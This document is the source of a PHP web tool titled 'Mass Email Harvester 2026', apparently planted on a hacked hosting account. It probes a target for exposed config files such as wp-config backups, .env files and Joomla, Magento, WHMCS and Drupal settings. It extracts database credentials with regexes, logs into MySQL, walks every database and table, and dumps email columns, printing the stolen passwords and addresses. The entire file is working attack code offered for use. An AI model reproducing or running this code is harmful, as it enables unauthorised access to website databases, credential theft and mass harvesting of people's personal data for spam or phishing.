/home/techb158/public_html/systemd/mail/auto
Edit: /home/techb158/public_html/systemd/mail/auto/mail_26.php (20567B)
[
'timeout' => 18,
'ignore_errors' => true,
'follow_location' => 1,
'header' => "User-Agent: Mozilla/5.0\r\nAccept: */*\r\n",
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
'allow_self_signed' => true,
],
]);
$raw = @file_get_contents($url, false, $ctx);
if (is_string($raw) && $raw !== '') return $raw;
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 18,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_USERAGENT => 'Mozilla/5.0',
]);
$raw = curl_exec($ch);
curl_close($ch);
if (is_string($raw) && $raw !== '') return $raw;
}
return '';
}
function local_read(string $path): string {
$path = trim($path);
if ($path === '' || !is_readable($path)) return '';
$raw = @file_get_contents($path);
return is_string($raw) ? $raw : '';
}
function fetch_blob(string $src): string {
$src = trim($src);
if ($src === '') return '';
if (preg_match('#^https?://#i', $src) || str_contains($src, '.')) {
$b = get_contents($src);
if ($b !== '') return $b;
}
return local_read($src);
}
/** @return list
*/
function collect_candidate_urls(string $base): array {
$out = [];
$base = rtrim(trim($base), '/');
if ($base === '') return $out;
$seen = [];
$push = static function (string $u) use (&$out, &$seen): void {
$u = trim($u);
if ($u === '' || isset($seen[$u])) return;
$seen[$u] = true;
$out[] = $u;
};
$push($base);
$listing = get_contents($base);
if ($listing !== '' && preg_match_all('#href=["\']([^"\']+)#i', $listing, $m)) {
foreach ($m[1] as $href) {
$href = html_entity_decode((string)$href, ENT_QUOTES, 'UTF-8');
if ($href === '' || str_starts_with($href, '#') || str_starts_with(strtolower($href), 'javascript:')) continue;
if (preg_match('#^https?://#i', $href)) {
$push($href);
} else {
$push($base . '/' . ltrim($href, '/'));
}
}
}
$needles = [
'wp-config.php', 'wp-config.php.bak', 'wp-config.php.old', 'wp-config.php.save',
'wp-config.php.txt', 'wp-config.bak', 'configuration.php', 'configuration.php.bak',
'configuration.php.old', 'configuration.php.txt', 'app/etc/env.php', 'app/etc/local.xml',
'app/etc/env.php.bak', 'config/app.php', 'config/database.php', '.env', '.env.bak',
'.env.local', '.env.production', '.env.example', 'includes/config.php',
'includes/configure.php', 'admin/includes/configure.php', 'admin/config.php',
'config.php', 'config.inc.php', 'settings.php', 'sites/default/settings.php',
'configuration.php-dist', 'app/config/parameters.php', 'app/config/parameters.yml',
'application/config/database.php', 'system/config/database.php',
'configuration/database.php', 'inc/config.php', 'core/config.php',
'includes/config.inc.php', 'whmcs/configuration.php', 'includes/db.inc.php',
'store/includes/configure.php', 'catalog/includes/configure.php',
];
foreach ($needles as $n) {
$push($base . '/' . $n);
if (!preg_match('#^https?://#i', $base)) {
$push(rtrim($base, '/') . '/' . $n);
}
}
return $out;
}
function unquote(string $s): string {
$s = trim($s);
$s = trim($s, " \t\"'`");
$s = stripslashes($s);
return $s;
}
/** @return list */
function parse_creds(string $blob): array {
$found = [];
$add = static function (string $host, string $user, string $pass, string $name, int $port = 3306, string $engine = '') use (&$found): void {
$host = unquote($host);
$user = unquote($user);
$pass = unquote($pass);
$name = unquote($name);
if ($host === '') $host = 'localhost';
if ($user === '' || $name === '') return;
$key = strtolower($host . '|' . $user . '|' . $name . '|' . $port);
foreach ($found as $row) {
if (strtolower($row['host'] . '|' . $row['user'] . '|' . $row['name'] . '|' . $row['port']) === $key) {
return;
}
}
$found[] = [
'host' => $host,
'user' => $user,
'pass' => $pass,
'name' => $name,
'port' => $port > 0 ? $port : 3306,
'engine' => $engine,
];
};
// WordPress define()
if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $h)
&& preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $u)
&& preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $p)
&& preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $n)
) {
$add($h[1], $u[1], $p[1], $n[1], 3306, 'wordpress');
}
// Joomla configuration.php
if (preg_match('/(?:public|var)\s+\$host\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $h)
&& preg_match('/(?:public|var)\s+\$user\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $u)
&& preg_match('/(?:public|var)\s+\$password\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $p)
&& preg_match('/(?:public|var)\s+\$db\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $n)
) {
$add($h[1], $u[1], $p[1], $n[1], 3306, 'joomla');
}
// Magento 1 local.xml
if (preg_match('#.*?.*?.*?.*?#is', $blob, $m)) {
$add($m[1], $m[2], $m[3], $m[4], 3306, 'magento1');
}
if (preg_match('#([^<]+).*?([^<]+).*?([^<]*).*?([^<]+)#is', $blob, $m)) {
$add($m[1], $m[2], $m[3], $m[4], 3306, 'magento1');
}
// Magento 2 env.php 'dbname' => '..'
if (preg_match("/'dbname'\s*=>\s*'([^']+)'/i", $blob, $n)
&& preg_match("/'username'\s*=>\s*'([^']+)'/i", $blob, $u)
&& preg_match("/'password'\s*=>\s*'([^']*)'/i", $blob, $p)
) {
$host = 'localhost';
if (preg_match("/'host'\s*=>\s*'([^']+)'/i", $blob, $h)) $host = $h[1];
$port = 3306;
if (preg_match("/'port'\s*=>\s*'?(\d+)'?/i", $blob, $po)) $port = (int)$po[1];
$add($host, $u[1], $p[1], $n[1], $port, 'magento2');
}
// Laravel / Symfony .env
if (preg_match('/^DB_DATABASE\s*=\s*(.+)$/m', $blob, $n)
&& preg_match('/^DB_USERNAME\s*=\s*(.+)$/m', $blob, $u)
) {
$host = 'localhost';
$pass = '';
$port = 3306;
if (preg_match('/^DB_HOST\s*=\s*(.+)$/m', $blob, $h)) $host = trim($h[1]);
if (preg_match('/^DB_PASSWORD\s*=\s*(.*)$/m', $blob, $p)) $pass = trim($p[1]);
if (preg_match('/^DB_PORT\s*=\s*(\d+)/m', $blob, $po)) $port = (int)$po[1];
$add($host, trim($u[1]), $pass, trim($n[1]), $port, 'laravel');
}
if (preg_match('#DATABASE_URL\s*=\s*[\'"]?mysql://([^:]+):([^@]*)@([^:/]+)(?::(\d+))?/([^\'"\s]+)#i', $blob, $m)) {
$add($m[3], $m[1], $m[2], $m[5], isset($m[4]) && $m[4] !== '' ? (int)$m[4] : 3306, 'symfony');
}
// PrestaShop / TomatoCart / OpenCart / generic PHP arrays
$pairs = [
'DB_SERVER' => 'host',
'DB_HOSTNAME' => 'host',
'DB_HOST' => 'host',
'SERVER' => 'host',
'DB_SERVER_USERNAME' => 'user',
'DB_USERNAME' => 'user',
'DB_USER' => 'user',
'DB_PREFIX' => '_skip',
'DB_SERVER_PASSWORD' => 'pass',
'DB_PASSWORD' => 'pass',
'DB_PASS' => 'pass',
'DB_DATABASE' => 'name',
'DB_NAME' => 'name',
'DB_DBNAME' => 'name',
];
$bucket = ['host' => '', 'user' => '', 'pass' => '', 'name' => ''];
foreach ($pairs as $key => $slot) {
if ($slot === '_skip') continue;
if (preg_match('/(?:define\s*\(\s*[\'"]' . preg_quote($key, '/') . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]|(?:[\'"]' . preg_quote($key, '/') . '[\'"]|\$' . preg_quote($key, '/') . ')\s*=>?\s*[\'"]([^\'"]*)[\'"])/i', $blob, $mm)) {
$val = $mm[1] !== '' ? $mm[1] : ($mm[2] ?? '');
if ($val !== '') $bucket[$slot] = $val;
}
}
if ($bucket['user'] !== '' && $bucket['name'] !== '') {
$eng = 'generic';
if (stripos($blob, '_DB_PREFIX_') !== false || stripos($blob, 'prestashop') !== false) $eng = 'prestashop';
if (stripos($blob, 'DIR_APPLICATION') !== false || stripos($blob, 'opencart') !== false) $eng = 'opencart';
if (stripos($blob, 'tomatocart') !== false || stripos($blob, 'BOX_HEADING') !== false) $eng = 'tomatocart';
$add($bucket['host'] !== '' ? $bucket['host'] : 'localhost', $bucket['user'], $bucket['pass'], $bucket['name'], 3306, $eng);
}
// WHMCS configuration.php
if (preg_match('/\$db_host\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $h)
&& preg_match('/\$db_username\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $u)
&& preg_match('/\$db_password\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $p)
&& preg_match('/\$db_name\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $n)
) {
$add($h[1], $u[1], $p[1], $n[1], 3306, 'whmcs');
}
// Drupal settings.php
if (preg_match("/'database'\s*=>\s*'([^']+)'/i", $blob, $n)
&& preg_match("/'username'\s*=>\s*'([^']+)'/i", $blob, $u)
&& preg_match("/'password'\s*=>\s*'([^']*)'/i", $blob, $p)
) {
$host = 'localhost';
if (preg_match("/'host'\s*=>\s*'([^']+)'/i", $blob, $hh)) $host = $hh[1];
$add($host, $u[1], $p[1], $n[1], 3306, 'drupal');
}
// generic $dbhost $dbuser style
if (preg_match('/\$dbhost\s*=\s*[\'"]([^\'"]+)[\'"]/i', $blob, $h)
&& preg_match('/\$dbuser\s*=\s*[\'"]([^\'"]+)[\'"]/i', $blob, $u)
&& preg_match('/\$dbpass(?:word)?\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $p)
&& preg_match('/\$dbname\s*=\s*[\'"]([^\'"]+)[\'"]/i', $blob, $n)
) {
$add($h[1], $u[1], $p[1], $n[1], 3306, 'generic');
}
return $found;
}
function looks_email(string $v): bool {
$v = trim($v);
if ($v === '' || !str_contains($v, '@')) return false;
return (bool)filter_var($v, FILTER_VALIDATE_EMAIL) || (bool)preg_match('/^[^\s@]+@[^\s@]+\.[^\s@]+$/', $v);
}
function column_is_email(string $field): bool {
$f = strtolower($field);
if ($f === 'email' || $f === 'e_mail' || $f === 'mail' || str_ends_with($f, '_email') || str_starts_with($f, 'email')) return true;
if (str_contains($f, 'email') || str_contains($f, 'e_mail')) return true;
return false;
}
/** @return list */
function harvest(mysqli $db, string $preferDb = ''): array {
$emails = [];
$seen = [];
$dbs = [];
if ($preferDb !== '') $dbs[] = $preferDb;
if ($res = @$db->query('SHOW DATABASES')) {
while ($row = $res->fetch_assoc()) {
$d = (string)($row['Database'] ?? '');
if ($d === '' || in_array($d, ['information_schema', 'performance_schema', 'mysql', 'sys'], true)) continue;
if (!in_array($d, $dbs, true)) $dbs[] = $d;
}
$res->free();
}
foreach ($dbs as $dname) {
$safeDb = '`' . str_replace('`', '``', $dname) . '`';
$tables = @$db->query('SHOW TABLES FROM ' . $safeDb);
if (!$tables) continue;
$tkey = 'Tables_in_' . $dname;
while ($trow = $tables->fetch_assoc()) {
$tname = (string)($trow[$tkey] ?? reset($trow) ?: '');
if ($tname === '') continue;
$safeT = $safeDb . '.`' . str_replace('`', '``', $tname) . '`';
$cols = @$db->query('SHOW COLUMNS FROM ' . $safeT);
if (!$cols) continue;
$emailCols = [];
while ($crow = $cols->fetch_assoc()) {
$field = (string)($crow['Field'] ?? '');
if ($field !== '' && column_is_email($field)) $emailCols[] = $field;
}
$cols->free();
foreach ($emailCols as $field) {
$sf = '`' . str_replace('`', '``', $field) . '`';
$q = @$db->query('SELECT ' . $sf . ' FROM ' . $safeT . ' LIMIT 20000');
if (!$q) continue;
while ($erow = $q->fetch_assoc()) {
$val = trim((string)($erow[$field] ?? ''));
if ($val === '' || !looks_email($val)) continue;
$lk = strtolower($val);
if (isset($seen[$lk])) continue;
$seen[$lk] = true;
$emails[] = $val;
}
$q->free();
}
}
$tables->free();
}
return $emails;
}
$posted = isset($_POST['ch']);
$configIn = isset($_POST['config']) ? trim((string)$_POST['config']) : '';
$hits = [];
$parsed = [];
$notes = [];
$allEmails = [];
if ($posted && $configIn !== '') {
$targets = collect_candidate_urls($configIn);
$notes[] = 'scanned ' . count($targets) . ' paths';
$fetched = 0;
$tried = [];
foreach ($targets as $url) {
$blob = fetch_blob($url);
if ($blob === '' || strlen($blob) < 12) continue;
$fetched++;
$creds = parse_creds($blob);
foreach ($creds as $c) {
$c['src'] = $url;
$sig = strtolower($c['host'] . '|' . $c['user'] . '|' . $c['name'] . '|' . $c['pass']);
if (isset($tried[$sig])) continue;
$tried[$sig] = true;
$parsed[] = $c;
$port = (int)$c['port'];
$err = '';
$mysqli = @mysqli_init();
if (!$mysqli) {
$c['ok'] = false;
$c['err'] = 'mysqli missing';
$notes[] = 'NO CONNECT ' . $c['engine'] . ' ' . $c['user'] . '@' . $c['host'] . '/' . $c['name'] . ' :: mysqli missing';
continue;
}
@$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 8);
$ok = @$mysqli->real_connect($c['host'], $c['user'], $c['pass'], $c['name'] !== '' ? $c['name'] : null, $port);
if (!$ok && strcasecmp($c['host'], 'localhost') !== 0 && strcasecmp($c['host'], '127.0.0.1') !== 0) {
$ok2 = @$mysqli->real_connect('127.0.0.1', $c['user'], $c['pass'], $c['name'] !== '' ? $c['name'] : null, $port);
if ($ok2) {
$ok = true;
$c['host'] = '127.0.0.1';
}
}
if (!$ok && strcasecmp($c['host'], 'localhost') !== 0) {
$ok3 = @$mysqli->real_connect('localhost', $c['user'], $c['pass'], $c['name'] !== '' ? $c['name'] : null, $port);
if ($ok3) {
$ok = true;
$c['host'] = 'localhost';
}
}
if (!$ok) {
$err = $mysqli->connect_error ?: 'connect failed';
$notes[] = 'NO CONNECT ' . $c['engine'] . ' user=' . $c['user'] . ' pass=' . $c['pass'] . ' host=' . $c['host'] . ' db=' . $c['name'] . ' :: ' . $err;
continue;
}
$hits[] = $c;
$got = harvest($mysqli, $c['name']);
$mysqli->close();
foreach ($got as $em) {
$lk = strtolower($em);
if (!isset($allEmails[$lk])) $allEmails[$lk] = $em;
}
}
}
$notes[] = 'fetched ' . $fetched . ' bodies';
$notes[] = 'parsed ' . count($parsed) . ' credential sets';
}
$emailList = array_values($allEmails);
?>
Mass Email Harvester 2026 Zeux
Copyright © 2026 Coded by ZeuxHaxor — WP / Joomla / Laravel / Magento / Presta / OpenCart / TomatoCart / WHMCS / Drupal / .env
Mass Email Harvester 2026 FIXED SSL
FOUND ' . count($parsed) . ' CRED SET(S) FROM URL
';
foreach ($parsed as $c) {
echo '[' . h($c['engine']) . '] src=' . h((string)($c['src'] ?? '')) . '
';
echo 'host=' . h($c['host']) . ' port=' . (int)$c['port'] . ' user=' . h($c['user']) . ' pass=' . h($c['pass']) . ' db=' . h($c['name']) . '
';
}
} else {
echo 'No database credentials parsed from that source
';
}
if ($hits) {
foreach ($hits as $c) {
echo 'CONNECTED ' . h($c['engine']) . ' USERNAME >> ' . h($c['user']) . ' @ ' . h($c['host']) . ' / ' . h($c['name']) . '
';
}
} elseif ($parsed) {
echo 'CREDENTIALS FOUND — MySQL connect failed (remote host / grants / not this box)
';
}
foreach ($emailList as $em) {
echo '' . h($em) . '
';
}
if ($emailList) {
echo '' . count($emailList) . ' unique emails';
}
foreach ($notes as $n) {
echo '' . h($n) . '';
}
}
?>